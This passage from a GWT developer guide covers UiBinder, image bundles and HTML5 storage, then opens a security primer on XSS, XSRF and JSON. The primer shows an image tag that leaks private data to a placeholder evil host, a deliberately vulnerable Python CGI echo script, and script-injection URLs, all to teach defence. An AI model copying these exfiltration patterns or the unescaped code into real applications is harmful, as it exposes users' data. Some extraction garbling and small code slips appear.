Each theme has a "Resources" version that only includes the public resources associated with the theme, but does not inject a style sheet into the page. You will need to create a new style sheet and inject it into the page as described in the sections above. Finally, copy the contents of the file public/gwt/standard/standard.css style sheet located in the package com.google.gwt.user.theme.standard into your new style sheet. Strip out any styles you do not want to include, reducing the size of the file. When you run your application, GWT will inject your stripped down version of the style sheet, but you can still reference the files associate with the standard visual theme.
257 / 469
4.4.11.
This document explains how to build Widget and DOM structures from XML markup using UiBinder, introduced with GWT 2.0. It does not cover binder's localization featuresread about them in Internationalization - UiBinder. 1. Overview 2. Hello World 3. Hello Composite World 4. Using Panels 5. HTML entities 6. Simple binding of event handlers 7. Hello Stylish World 8. Programmatic access to inline Styles 9. Using an external resource with a UiBinder 10. Share resource instances 11. Using a widget that requires constructor args 12. Apply different XML templates to the same widget Note: As of GWT 2.3, UiBinder HTML rendering uses SafeHtml. However, this new HTML rendering is currently off (set to false) by default, but can be turned on (set to true) using the useSafeHtmlTemplate property for UiBinder.gwt.xml. For more information on SafeHtml, see Developer's Guide - SafeHtml.
4.4.11.1. Overview
At heart, a GWT application is a web page. And when you're laying out a web page, writing HTML and CSS is the most natural way to get the job done. The UiBinder framework allows you to do exactly that: build your apps as HTML pages with GWT widgets sprinkled throughout them. Besides being a more natural and concise way to build your UI than doing it through code, UiBinder can also make your app more efficient. Browsers are better at building DOM structures by cramming big strings of HTML into innerHTML attributes than by a bunch of API calls. UiBinder naturally takes advantage of this, and the result is that the most pleasant way to build your app is also the best way to build it. UiBinder... helps productivity and maintainability it's easy to create UI from scratch or copy/paste across templates; makes it easier to collaborate with UI designers who are more comfortable with XML, HTML and CSS than Java source code; provides a gradual transition during development from HTML mocks to real, interactive UI; encourages a clean separation of the aesthetics of your UI (a declarative XML template) from its programmatic behavior (a Java class); performs thorough compile-time checking of cross-references from Java source to XML and vice-versa; offers direct support for internationalization that works well with GWT's i18n facility; and encourages more efficient use of browser resources by making it convenient to use lightweight HTML elements rather than heavier-weight widgets and panels.
But as you learn what UiBinder is, you should also understand what it is not. It is not a renderer. There are no loops, no conditionals, no if statements in its markup. UiBinder allows you to lay out your widgets. It's still up to the widgets themselves to convert rows of data into rows of HTML. The rest of this page explains how to use UiBinder through a series of typical use cases. You'll see how to lay out a UI, how to style it, and how to attach event handlers to it. Internationalization - UiBinder explains how to internationalize it. Quick start: If instead you want to jump right in to the code, take a peek at this patch. It includes the work to change the venerable Mail sample to use UiBinder. Look for pairs of files like Mail.java and Mail.ui.xml.
258 / 469
Now suppose you need to programatically read and write the text in the span (the one with the ui:field='nameSpan' attribute) above. You'd probably like to write actual Java code to do things like that, so UiBinder templates have an associated owner class that allows programmatic access to the UI constructs declared in the template. An owner class for the above template might look like this:
public class HelloWorld extends UIObject { // Could extend Widget instead interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField SpanElement nameSpan; public HelloWorld() { // createAndBindUi initializes this.nameSpan setElement(uiBinder.createAndBindUi(this)); } public void setName(String name) { nameSpan.setInnerText(name); } }
You then instantiate and use the owner class as you would any other chunk of UI code. We'll see examples later that demonstrate how to use widgets with UiBinder, but this example uses direct DOM manipulation:
HelloWorld helloWorld = new HelloWorld(); Document.get().getBody().appendChild(helloWorld.getElement()); helloWorld.setName("World");
UiBinder instances are factories that generate a UI structure and glue it to an owning Java class. The UiBinder<U, O> interface declares two parameter types: U is the type of root element declared in the ui.xml file, returned by the createAndBindUi call O is the owner type whose @UiFields are to be filled in.
(In this example U is DivElement and O is HelloWorld.) Any object declared in the ui.xml file, including any DOM elements, can be made available to the owning Java class through its field name. Here, a <span> element in the markup is given a ui:field attribute set to nameSpan. In the Java code, a field with the same name is marked with the @UiField annotation. When uiBinder.createAndBindUi(this) is run, the field is filled with the appropriate instance of SpanElement. The Java class we create here happens to extend UiObject, but it could just as easily extend Widget. Or Composite. Or Object. There are no restrictions. However, do note that the fields marked with @UiField have default visibility. If they are to be filled by a binder, they cannot be private.
259 / 469
Note that we're using widgets, and also creating a widget. The HelloWorldWidget can be added to any panel class. In order to use a set of widgets in a ui.xml template file, you need to tie their package to an XML namespace prefix. That's what's happening in this attribute of the root <ui:uibinder> element: xmlns:g='urn:import:com.google.gwt.user.client.ui'. This says that every class in the com.google.gwt.user.client.ui package can be used as an element with prefix g and a tag name matching its Java class name, like <g:ListBox>. See how the g:ListBox element has a visibleItemCount='1' attribute? That becomes a call to ListBox#setVisibleItemCount(int). Every one of the widget's methods that follow JavaBean-style conventions for setting a property can be used this way. Pay particular attention to the use of an HTMLPanel instance. HTMLPanel excels at mingling arbitrary HTML and widgets, and UiBinder works very well with HTMLPanel. In general, any time you want to use HTML markup inside of a widget hierarchy, you'll need an instance of HTMLPanel or the HTML Widget.
Some stock GWT widgets require special markup, which you'll find described in their javadoc. Here's how DockLayoutPanel works:
260 / 469
<g:DockLayoutPanel unit='EM'> <g:north size='5'> <g:Label>Top</g:Label> </g:north> <g:center> <g:Label>Body</g:Label> </g:center> <g:west size='10'> <g:HTML> <ul> <li>Sidebar</li> <li>Sidebar</li> <li>Sidebar</li> </ul> </g:HTML> </g:west> </g:DockLayoutPanel>
The DockLayoutPanel's children are gathered in organizational elements like <g:north> and <g:body>. Unlike almost everything else that appears in the template, they do not represent runtime objects. You can't give them ui:field attributes, because there would be nothing to put in the field in your Java class. This is why their names are not capitalized, to give you a clue that they're not "real". You'll find that other special non-runtime elements follow the same convention. Another thing to notice is that we can't put HTML directly in most panels, but only in widgets that know what to do with HTML, specifically, HTMLPanel, and widgets that implement the HasHTML interface (such as the sidebar under <g:west>). Future releases of GWT will probably drop this restriction, but in the meantime it's up to you to place your HTML into HTML-savvy widgets.
Note that the GWT compiler won't actually visit this URL to fetch the file, because a copy of it is baked into the compiler. However, your IDE may fetch it.
In a UiBinder owner class, you can use the @UiHandler annotation to have all of that anonymous class nonsense written for you.
261 / 469
public class MyFoo extends Composite { @UiField Button button; public MyFoo() { initWidget(button); } @UiHandler("button") void handleClick(ClickEvent e) { Window.alert("Hello, AJAX"); } }
However, there is one limitation (at least for now): you can only use @UiHandler with events thrown by widget objects, not DOM elements. That is, <g:Button>, not <button>.
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style> .pretty { background-color: Skyblue; } </ui:style> <div class='{style.pretty}'> Hello, <span ui:field='nameSpan'/>. </div> </ui:UiBinder>
A CssResource interface is generated for you, along with a ClientBundle. This means that the compiler will warn you if you misspell the class name when you try to use it (e.g. {style.prettty}). Also, your CSS class name will be obfuscated, thus protecting it from collision with like class names in other CSS blocksno more global CSS namespace! In fact, you can take advantage of this within a single template:
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style> .pretty { background-color: Skyblue; } </ui:style> <ui:style field='otherStyle'> .pretty { background-color: Orange; } </ui:style> <div class='{style.pretty}'> Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>. </div> </ui:UiBinder>
Finally, you don't have to have your CSS inside your ui.xml file. Most real world projects will probably keep their CSS in a separate file. In the example given below, the src values are relative to the location of the ui.xml file.
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style src="MyUi.css" /> <ui:style field='otherStyle' src="MyUiOtherStyle.css"> <div class='{style.pretty}'> Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>. </div> </ui:UiBinder>
And you can set style on a widget, not just HTML. Use the styleName attribute to override whatever CSS styling the widget defaults to (just like calling setStyleName() in code). Or, to add class names without clobbering the widget's baked in style settings, use the special addStyleNames attribute:
262 / 469
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <ui:style> .hot { color: magenta; } .pretty { background-color: Skyblue; } </ui:style> <g:PushButton styleName='{style.pretty}'>This button doesn't look like one</g:PushButton> <g:PushButton addStyleNames='{style.pretty} {style.hot}'>Push my hot button!</g:PushButton> </ui:UiBinder>
The <ui:style> element has a new attribute, type='com.my.app.MyFoo.MyStyle'. That means that it needs to implement that interface (defined in the Java source for the MyFoo widget below) and provide the two CSS classes it calls for, enabled and disabled. Now look at the @UiField MyStyle style; field in MyFoo.java. That gives the code access to the CssResource generated for the <ui:style> block. The setEnabled method uses that field to apply the enabled and disabled styles as the widget is turned on and off. You're free to define as many other classes as you like in a style block with a specified type, but your code will have access only to those required by the interface.
263 / 469
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <ui:with field='res' type='com.my.app.widgets.logoname.Resources'/> <g:HTMLPanel> <g:Image resource='{res.logo}'/> <div class='{res.style.mainBlock}'> <div class='{res.style.userPictureSprite}'/> <div> Well hello there <span class='{res.style.nameSpan}' ui:field='nameSpan'/> </div> </div> </g:HTMLPanel> </ui:UiBinder>
/** * Resources used by the entire application. */ public interface Resources extends ClientBundle { @Source("Style.css") Style style(); @Source("Logo.jpg") ImageResource logo(); public interface Style extends CssResource { String mainBlock(); String nameSpan(); Sprite userPictureSprite(); } }
The "with" element declares a field holding a resource object whose methods can be called to fill in attribute values. In this case it will be instantiated via a call to GWT.create(Resources.class). (Read on to see how pass an instance in instead of having it created for you.) Note that there is no requirement that a ui:with resource implement the ClientBundle interface; this is just an example.
Any field in the template that is of type Resources will be instantiated by a call to getResources. If your factory method needs arguments, those will be required as attributes. You can make things more concise, and have finer control, by using @UiField(provided = true).
264 / 469
public class LogoNamePanel extends Composite { interface MyUiBinder extends UiBinder<Widget, LogoNamePanel> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField SpanElement nameSpan; @UiField(provided = true) final Resources resources; public LogoNamePanel(Resources resources) { this.resources = resources; initWidget(uiBinder.createAndBindUi(this)); } public void setUserName(String userName) { nameSpan.setInnerText(userName); } }
An error results:
[ERROR] com.my.app.widgets.CricketScores has no default (zero args) constructor. To fix this, you can define a @UiFactory method on the UiBinder's owner, or annotate a constructor of CricketScores with @UiConstructor.
265 / 469
public class UserDashboard extends Composite { interface MyUiBinder extends UiBinder<Widget, UserDashboard>; private static final MyUiBinder uiBinder = GWT.create(MyUiBinder.class); private final String[] teamNames; public UserDashboard(String... teamNames) { this.teamNames = teamNames; initWidget(uiBinder.createAndBindUi(this)); } /** Used by MyUiBinder to instantiate CricketScores */ @UiFactory CricketScores makeCricketScores() { // method name is insignificant return new CricketScores(teamNames); } }
...annotate a constructor...
public @UiConstructor CricketScores(String teamNames) { this(teamNames.split("[, ]+")); } <!-- UserDashboard.ui.xml --> <g:HTMLPanel xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui' xmlns:my='urn:import:com.my.app.widgets' > <my:WeatherReport ui:field='weather'/> <my:Stocks ui:field='stocks'/> <my:CricketScores ui:field='scores' teamNames='AUS, SAF, WA, QLD, VIC'/> </g:HTMLPanel>
266 / 469
public class FooPickerController { public interface Display { HasText getTitleField(); SourcesChangeEvents getPickerSelect(); } public void setDisplay(FooPickerDisplay display) { ... } } public class FooPickerDisplay extends Composite implements FooPickerController.Display { @UiTemplate("RedFooPicker.ui.xml") interface RedBinder extends UiBinder<Widget, FooPickerDisplay> {} private static RedBinder redBinder = GWT.create(RedBinder.class); @UiTemplate("BlueFooPicker.ui.xml") interface BlueBinder extends UiBinder<Widget, FooPickerDisplay> {} private static BlueBinder blueBinder = GWT.create(BlueBinder.class); @UiField HasText titleField; @UiField SourcesChangeEvents pickerSelect; public HasText getTitleField() { return titleField; } public SourcesChangeEvents getPickerSelect() { return pickerSelect; } protected FooPickerDisplay(UiBinder<Widget, FooPickerDisplay> binder) { initWidget(uiBinder.createAndBindUi(this)); } public static FooPickerDisplay createRedPicker() { return new FooPickerDisplay(redBinder); } public static FooPickerDisplay createBluePicker() { return new FooPickerDisplay(blueBinder); } }
267 / 469
4.4.12.
An image bundle is a construct used to improve application performance by reducing the number of round trip HTTP requests to the server to fetch images. GWT can package many image files into a single large file to be downloaded from the server and managed as a Java object.
The end result of sending out many separate requests and freshness checks is slow application startup. The GWT ImageResource solves these problems. Multiple ImageResources are declared in a single ClientBundle, which is a composition of many images into a single image, along with an interface for accessing the individual images from within the composite. Users can define a ClientBundle that contains the images used by their application, and GWT will automatically create the composite image and provide an implementation of the interface for accessing each individual image. Instead of a round trip to the server for each image, only one round trip to the server for the composite image is needed. Because the filename of the composite image is based on a hash of the file's contents, the filename will change only if the composite image is changed. This means that it is safe for clients to cache the composite image permanently, which avoids the unnecessary freshness checks for unchanged images. To make this work, the server configuration needs to specify that composite images never expire. In addition to speeding up startup, image bundles prevent the "bouncy" effect of image loading in browsers. While images are loading, browsers put a standard placeholder for each image in the UI. The placeholder is a standard size because the browser does not know what the size of an image is until it has been fully downloaded from the server. The result is a 'bouncy' effect, where images 'pop' into the UI once they are downloaded. With image bundles, the size of each individual image within the bundle is discovered when the bundle is created, so the size of the image can be explicitly set whenever images from a bundle are used in an application. See the ImageBundle API documentation for important information regarding: A potential security issue with the generation of the composite image on certain versions of the JVM Caching recommendations for image bundle files Protecting image bundle files with web application security constraints Using image bundles with the HTTPS protocol
268 / 469
4.5.
4.5.1.
The HTML5 (web) storage spec is a standardized way of providing larger amounts of client-side storage and of more appropriately "partitioning" session storage and locally persistent storage. The HTML5 spec also provides for storage events to be generated and handled by interested listeners. The full impact of these features provided by HTML5 storage can best be seen by looking at client-side storage in the non-HTML5 world. Without HTML5, client-side storage for web applications is limited to the tiny storage provided by cookies (4KB per cookie, 20 cookies per domain) unless proprietary storage schemes are used, such as Flash local shared objects or Google Gears. If cookies are used they provide both session and locally persistent storage at the same time, and are accessible by all browser windows and tabs. Domain cookies are sent with every request to that domain, which consumes bandwidth. The "mechanics" of processing cookies are also a bit cumbersome. In contrast, HTML5 storage provides a much larger initial local storage (5MB per domain), unlimited session storage (limited only by system resources) and successfully partitions local and session storage so that only the data you want to persist is persisted in local storage and data you want to be transient stays transient. Moreover, session storage is only accessible from its originating tab or window; it is not shared between all browser windows and tabs. Accessing session and local storage is simple, consisting in simple reads and writes of key-value strings. Finally, local and session storage are client-side only; they are not sent with requests.
4.5.2.
With HTML5 local storage, a larger amount of data (initially, 5MB per application per browser) can be persistently cached client-side, which provides an alternative to server downloads. A web application can achieve better performance and provide a better user experience if it uses this local storage. For example, your web application can use local storage to cache data from RPC calls for faster startup times and for a more responsive user interface. Other uses include saving the application state locally for a faster restore when the user re-enters the application, and saving the user's work if there is a network outage, and so forth. Note: The 5MB maximum applies to local storage only, not to session storage, which is limited only by system memory. Here is a short list of some of the benefits and uses of local storage: Reduce network traffic Significantly speed up display times Cache data from RPC calls Load cached data on startup (faster startup) Save temporary state Restore state upon app reentry Prevent work loss from network disconnects
Note: unlike cookies, items in Storage are not sent along in requests, which helps reduce network traffic.
269 / 469
4.5.3.
To use HTML5 storage features, you need to know about lifespan (persistence) of local and session storage, about their scope--which windows and tabs can access the storage, and which tabs and windows can listen for storage events.
Storage Type
Max Size 5MB per app per browser. According to the HTML5 spec, this limit can be increased by the user when needed; however, only a few browsers support this Limited only by system memory
Persistence
LocalStorage
SessionStorage
Survives only as Accessible only within long as its originating the window or tab that window or tab created it
270 / 469
Note: Just like cookies, LocalStorage and sessionStorage can be inspected using browser tools such as Developer Tools in Chrome, Web Inspector in Safari and so forth. These tools allow a user to remove storage values and see what values are being recorded by a web site the user is visiting.
4.5.4.
GWT support for the HTML5 storage feature consists of the following: com.google.gwt.storage.client.Storage (required import) LocalStorage (local storage) SessionStorage (session storage) StorageEvent (event generated by session or local storage changes) StorageEvent.Handler (interface for storage event handlers) StorageMap (exposes the Storage object as a standard Map)
Syntactic details for these can be found in the Storage feature javadoc.
4.5.5.
You get the storage object by invoking Storage.getLocalStorageIfSupported() or Storage.getSessionStorageIfSupported(), depending on the type of storage you want to access. Because your web app might be accessed from a browser that does not support HTML5, you should always check before accessing any of the HTML5 storage features. If the storage feature is supported, you get the storage object and then write data to it or read data from it, depending on your needs. If you want to delete one key-value pair from the storage, you can do that or you can clear all of the data from the storage object. 1. 2. 3. 4. 5. 6. Check for browser support Get the Storage object for your browser Read data from Storage Write data to Storage Delete data from Storage Handle Storage Events
271 / 469
272 / 469
Judicious use of naming conventions can help with processing storage data. For example, in a web app named MyWebApp, key-value data associated with rows in a UI table named Stock could have key names prefixed with MyWebApp.Stock. In the following snippet, which is part of an Add button click handler, a text value is read from a textbox and saved, with the key name concatenated from a prefix and the current number of items in the storage.
import com.google.gwt.storage.client.Storage; final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null) { int numStocks = stockStore.getLength(); stockStore.setItem("Stock."+numStocks, symbol); }
273 / 469
storage is cleared, the event does not contain any information about the deleted key-value pairs. The storage event handlers get a storage event object that contains various useful information, such as the old value and the new value, in the case of an update to an existing key-value pair. The following can be obtained from the StorageEvent object: Method getKey getNewValue getOldValue getStorageArea getURL Returns the key being changed. Returns the value of the key after the change, or null if not changed or if it is the result of a Storage.clear() operation. Returns the value of the key before the change, or null if not changed or if it is the result of a Storage.clear() operation. Returns the SessionStorage or LocalStorage object where the event occurred. The address of the document in which the change occurred. Description
The following snippet shows a sample event handler registered with a storage, where the changes from the incoming events are displayed in a UI label.
import com.google.gwt.storage.client.Storage; import com.google.gwt.storage.client.StorageEvent; private Storage stockstore = null; stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null) { stockStore.addStorageEventHandler(new StorageEvent.Handler() { public void onStorageChange(StorageEvent event) { lastStockLabel.setText("Last Update: "+event.getNewValue() +": " +event.getOldValue() +": " +event.getUrl()); } });
274 / 469
4.6.
If not guarded against, JavaScript applications can be vulnerable to several types of security exploits. Because the Google Web Toolkit (GWT) produces JavaScript code, that code is is also vulnerable to JavaScript attacks. This section helps educate GWT developers about the risks and explains how to write secure GWT applications. 1. Security for GWT Applications Describes different types of attacks you can expect, and how to code against them 2. SafeHtml Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data 3. GWT RPC XSRF protection Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities GWT RPCs
4.6.1.
Dan Morrill, Google Developer Relations Team Updated January 2009 It is a sad truth that JavaScript applications are easily left vulnerable to several types of security exploits, if developers are unwary. Because the Google Web Toolkit (GWT) produces JavaScript code, we GWT developers are no less vulnerable to JavaScript attacks than anyone else. However, because the goal of GWT is to allow developers to focus on their users' needs instead of JavaScript and browser quirks, it's easy to let our guards down. To make sure that GWT developers have a strong appreciation of the risks, we've put together this article. GWT's mission is to provide developers with the tools they need to build AJAX apps that make the web a better place for end users. However, the apps we build have to be secure as well as functional, or else our community isn't doing a very good job at our mission. This article is a primer on JavaScript attacks, intended for GWT developers. The first portion describes the major classes of attacks against JavaScript in general terms that are applicable to any AJAX framework. After that background information on the attacks, the second portion describes how to secure your GWT applications against them. 1. Part 1: JavaScript Vulnerabilities 1. Leaking Data 2. Cross-Site Scripting 3. Forging Requests 4. JSON and XSRF 2. Part 2: How GWT Developers Can Fight Back 1. XSS and GWT 2. XSRF and GWT 3. JSON and GWT 3. Conclusion
4.6.1.1.
These problems, like so many others on the Internet, stem from malicious programmers. There are people out there who spend a huge percentage of their lives thinking of creative ways to steal your data. Vendors of web browsers do their part to stop those people, and one way they accomplish it is with the Same-Origin Policy. The Same-Origin Policy (SOP) says that code running in a page that was loaded from Site A can't access data or network resources belonging to any other site, or even any other page (unless that other page was also loaded from Site A.) The goal is to prevent malicious hackers from injecting evil code into Site A that gathers up some of your private data and sends it to their evil Site B. This is, of course, the well-known restriction that prevents your AJAX code from making an XMLHTTPRequest call to a URL that isn't on the same site as the current page. Developers familiar with Java Applets will recognize this as a very similar security policy. There is, however, a way around the Same-Origin Policy, and it all starts with trust. A web page owns its own data, of course, and is free to submit that data back to the web site it came from. JavaScript code that's already running is trusted to not be evil, and to know what it's doing. If code is already running, it's too late to stop it from doing anything evil anyway, so you might as well trust it. One thing that JavaScript code is trusted to do is load more content. For example, you might build a basic image gallery application by writing some JavaScript code that inserts and deletes <img> tags into the current page. When you insert an <img> tag, the browser immediately loads the image as if it had been present in the original page; if you delete (or 275 / 469
hide) an <img> tag, the browser removes it from the display. Essentially, the SOP lets JavaScript code do anything that the original HTML page could have done -- it just prevents that JavaScript from sending data to a different server, or from reading or writing data belonging to a different server.
Leaking Data
The text above said, "prevents JavaScript from sending data to a different server." Unfortunately, that's not strictly true. In fact it is possible to send data to a different server, although it might be more accurate to say "leak." JavaScript is free to add new resources -- such as <img> tags -- to the current page. You probably know that you can cause an image hosted on foo.com to appear inline in a page served up by bar.com. Indeed, some people get upset if you do this to their images, since it uses their bandwidth to serve an image to your web visitor. But, it's a feature of HTML, and since HTML can do it, so can JavaScript. Normally you would view this as a read-only operation: the browser requests an image, and the server sends the data. The browser didn't upload anything, so no data can be lost, right? Almost, but not quite. The browser did upload something: namely, the URL of the image. Images use standard URLs, and any URL can have query parameters encoded in it. A legitimate use case for this might be a page hit counter image, where a CGI on the server selects an appropriate image based on a query parameter and streams the data to the user in response. Here is a reasonable (though hypothetical) URL that could return a hit-count image showing the number '42':
http://site.domain.tld/pagehits?count=42
In the static HTML world, this is perfectly reasonable. After all, the server is not going to send the client to a web site that will leak the server's or user's data -- at least, not on purpose. Because this technique is legal in HTML, it's also legal in JavaScript, but there is an unintended consequence. If some evil JavaScript code gets injected into a good web page, it can construct <img> tags and add them to the page. It is then free to construct a URL to any hostile domain, stick it in an <img> tag, and make the request. It's not hard to imagine a scenario where the evil code steals some useful information and encodes it in the <img> URL; an example might be a tag such as:
<img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>
If private_user_data is a password, credit card number, or something similar, there'd be a major problem. If the evil code sets the size of the image to 1 pixel by 1 pixel, it's very unlikely the user will even notice it.
Cross-Site Scripting
The type of vulnerability just described is an example of a class of attacks called "Cross-Site Scripting" (abbreviated as "XSS"). These attacks involve browser script code that transmits data (or does even worse things) across sites. These attacks are not limited to &t;img> tags, either; they can be used in most places the browser lets script code access URLs. Here are some more examples of XSS attacks: Evil code creates a hidden iframe and then adds a <form> to it. The form's action is set to a URL on a server under the attacker's control. It then fills the form with hidden fields containing information taken from the parent page, and then submits the form. Evil code creates a hidden iframe, constructs a URL with query parameters containing information taken from the parent page, and then sets the iframe's "src" to a URL on a server under the attacker's control. Evil code creates a <script> tag, which functions almost identically to the <img> attack. (Actually, it's a lot worse, as I'll explain in a later section.)
Clearly, if evil code gets into your page, it can do some nasty stuff. By the way, don't take my examples above as a complete list; there are far too many variants of this trick to describe here. Throughout all this there's a really big assumption, though: namely, that evil JavaScript code could get itself into a good page in the first place. This sounds like it should be hard to do; after all, servers aren't going to intentionally include evil code in the HTML data they send to web browsers. Unfortunately, it turns out to be quite easy to do if the server (and sometimes even client) programmers are not constantly vigilant. And as always, evil people are spending huge chunks of their lives thinking up ways to do this. The list of ways that evil code can get into an otherwise good page is endless. Usually they all boil down to unwary code that parrots user input back to the user. For instance, this Python CGI code is vulnerable:
276 / 469
import cgi f = cgi.FieldStorage() name = f.getvalue('name') or 'there' s = '<html><body><div>Hello, ' + name + '!</div></body></html>' print 'Content-Type: text/html' print 'Content-Length: %s' % (len(s),) print print s
The code is supposed to print a simple greeting, based on a form input. For instance, a URL like this one would print "Hello, Dan!":
http://site.domain.tld/path?name=Dan
However, because the CGI doesn't inspect the value of the "name" variable, an attacker can insert script code in there. Here is some JavaScript that pops up an alert window:
<script>alert('Hi');</script>
http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B %3C/script%3E
That URL, when run against the CGI above, inserts the <script> tag directly into the <div> block in the generated HTML. When the user loads the CGI page, it still says "Hello, Dan!" but it also pops up a JavaScript alert window. It's not hard to imagine an attacker putting something worse than a mere JavaScript alert in that URL. It's also probably not hard to imagine how easy it is for your real-world, more complex server-side code to accidentally contain such vulnerabilities. Perhaps the scariest thing of all is that an evil URL like the one above can exploit your servers entirely without your involvement. The solution is usually simple: you just have to make sure that you escape or strip the content any time you write user input back into a new page. Like many things though, that's easier said than done, and requires constant vigilance.
Forging Requests
It would be nice if we could wrap up this article at this point. Unfortunately, we can't. You see, there's a whole other class of attack that we haven't covered yet. You can think of this one almost as XSS in reverse. In this scenario, the attacker lures one of your users to their own site, and uses their browser to attack your server. The key to this attack is insecure server-side session management. Probably the most common way that web sites manage sessions is via browser cookies. Typically the server will present a login page to the user, who enters credentials like a user name and password and submits the page. The server checks the credentials and if they are correct, sets a browser session cookie. Each new request from the browser comes with that cookie. Since the server knows that no other web site could have set that cookie (which is true due to the browsers' Same-Origin Policy,) the server knows the user has previously authenticated. The problem with this approach is that session cookies don't expire when the user leaves the site (they expire either when the browser closes or after some period of time). Since the browsers will include cookies with any request to your server regardless of context, if your users are logged in, it's possible for other sites to trigger an action on your server. This is frequently referred to as "Cross-Site Request Forging" or XSRF (or sometimes CSRF). The sites most vulnerable to XSRF attacks, perhaps ironically, are those that have already embraced the serviceoriented model. Traditional non-AJAX web applications are HTML-heavy and require multi-page UI operations by their very nature. The Same-Origin Policy prevents an XSRF attacker from reading the results of its request, making it impossible for an XSRF attacker to navigate a multi-page process. The simple technique of requiring the user to click a confirmation button -- when properly implemented -- is enough to foil an XSRF attack. Unfortunately, eliminating those sorts of extra steps is one of the key goals of the AJAX programming model. AJAX lets an application's UI logic run in the browser, which in turn lets communications with the server become narrowly defined operations. For instance, you might develop corporate HR application where the server exposes a URL that lets browser clients email a user's list of employee data to someone else. Such services are operation-oriented, meaning that a single HTTP request is all it takes to do something. Since a single request triggers the operation, the XSRF attacker doesn't need to see the response from an 277 / 469
XMLHTTPRequest-style service. An AJAX-based HR site that exposes "Email Employee Data" as such a service could be exploited via an XSRF attack that carefully constructed a URL that emails the employee data to an attacker. As you can see, AJAX applications are a lot more vulnerable to an XSRF attack than a traditional web site, because the attacking page doesn't need to navigate a multi-page sequence after all.
Typically these strings are parsed via a call to JavaScript's 'eval' function for fast decoding. A string containing a JSON object assigned to a variable, returned by a server as the response to a <script> tag. Example:
var result = { 'data': ['foo', 'bar'] };
A string containing a JSON object passed as the parameter to a function call -- that is, the JSONP model. Example:
handleResult({'data': ['foo', 'bar']});
The last two examples are most useful when returned from a server as the response to a <script> tag inclusion. This could use a little explanation. Earlier text described how JavaScript is permitted to dynamically add <img> tags pointing to images on remote sites. The same is true of <script> tags: JavaScript code can dynamically insert new <script> tags that cause more JavaScript code to load. This makes dynamic <script> insertion a very useful technique, especially for mashups. Mashups frequently need to fetch data from different sites, but the Same-Origin Policy prevents them from doing so directly with an XMLHTTPRequest call. However, currently-running JavaScript code is trusted to load new JavaScript code from different sites -- and who says that code can't actually be data? This concept might seem suspicious at first since it seems like a violation of the Same-Origin restriction, but it really isn't. Code is either trusted or it's not. Loading more code is more dangerous than loading data, so since your current code is already trusted to load more code, why should it not be trusted to load data as well? Meanwhile, <script> tags can only be inserted by trusted code in the first place, and the entire meaning of trust is that... you trust it to know what it's doing. It's true that XSS can abuse trust, but ultimately XSS can only originate from buggy server code. Same-Origin is based on trusting the server -- bugs and all. So what does this mean? How is writing a server-side service that exposes data via these methods vulnerable? Well, other people have explained this a lot better than we can cover it here. Here are some good treatments: JSON is not as safe as people think it is Safe JSON
Go ahead and read those -- and be sure to follow the links! Once you've digested it all, you'll probably see that you should tread carefully with JSON -- whether you're using GWT or another tool.
278 / 469
4.6.1.2.
But this is an article for GWT developers, right? So how are GWT developers affected by these things? The answer is that we are no less vulnerable than anybody else, and so we have to be just as careful. The sections below describe how each threat impacts GWT in detail.
Don't take our word for it, though! Nobody's perfect, so it's important to always keep security on your mind. Don't wait until your security audit finds a hole, think about it constantly as you code. Read on for more detail on the four vectors above.
Non-GWT JavaScript
Many developers use GWT along with other JavaScript solutions. For instance, your application might be using a mashup with code from several sites, or you might be using a third-party JavaScript-only library with GWT. In these cases, your application could be vulnerable due to those non-GWT libraries, even if the GWT portion of your application is secure. If you are mixing other JavaScript code with GWT in your application, it's important that you review all the pieces to be sure your entire application is secure.
The page contains a placeholder <div> named 'mydiv', and a JavaScript function that simply sets innerHTML on that div. The idea is that you would call that function from other code on your page whenever you wanted to update the content being displayed. However, suppose an attacker contrives to get a user to pass in this HTML as the 'newContent' variable: <div onmousemove="alert('Hi!');">Some text</div> Whenever the user mouses over 'mydiv', an alert will appear. If that's not frightening enough, there are other techniques -- only slightly more complicated -- that can execute code immediately without even needing to wait for user input. This is why setting innerHTML can be dangerous; you've got to be sure that the strings you use are trusted. 279 / 469
It's also important to realize that a string is not necessarily trusted just because it comes from your server! Suppose your application contains a report, which has "edit" and "view" modes in your user interface. For performance reasons, you might generate the custom-printed report in plain-old HTML on your server. Your GWT application would display it by using a RequestCallback to fetch the HTML and assign the result to a table cell's innerHTML property. You might assume that that string is trusted since your server generated it, but that could be a bad assumption. If the user is able to enter arbitrary input in "edit" mode, an attacker could use any of a variety of attacks to get the user to store some unsafe HTML in a record. When the user views the record again, that record's HTML would be evil. Unless you do an extremely thorough analysis of both the client and server, you can't assume a string from your server is safe. To be truly safe, you may want to always assume that strings destined for innerHTML or eval are unsafe, but at the very least you've got to Know Your Code.
The GWT team is considering adding support for standard string inspection to the GWT library. You would use this to validate any untrusted string to determine if it contains unsafe data (such as a <script> tag.) The idea is that you'd use this method to help you inspect any strings you need to pass to innerHTML or eval. However, this functionality is only being considered right now, so for the time being it's still important to do your own inspections. Be sure to follow the guidelines above -- and be sure to be paranoid!
Simply put, this technique is a way of requiring the code that made the request to prove that it has access to the session cookie.
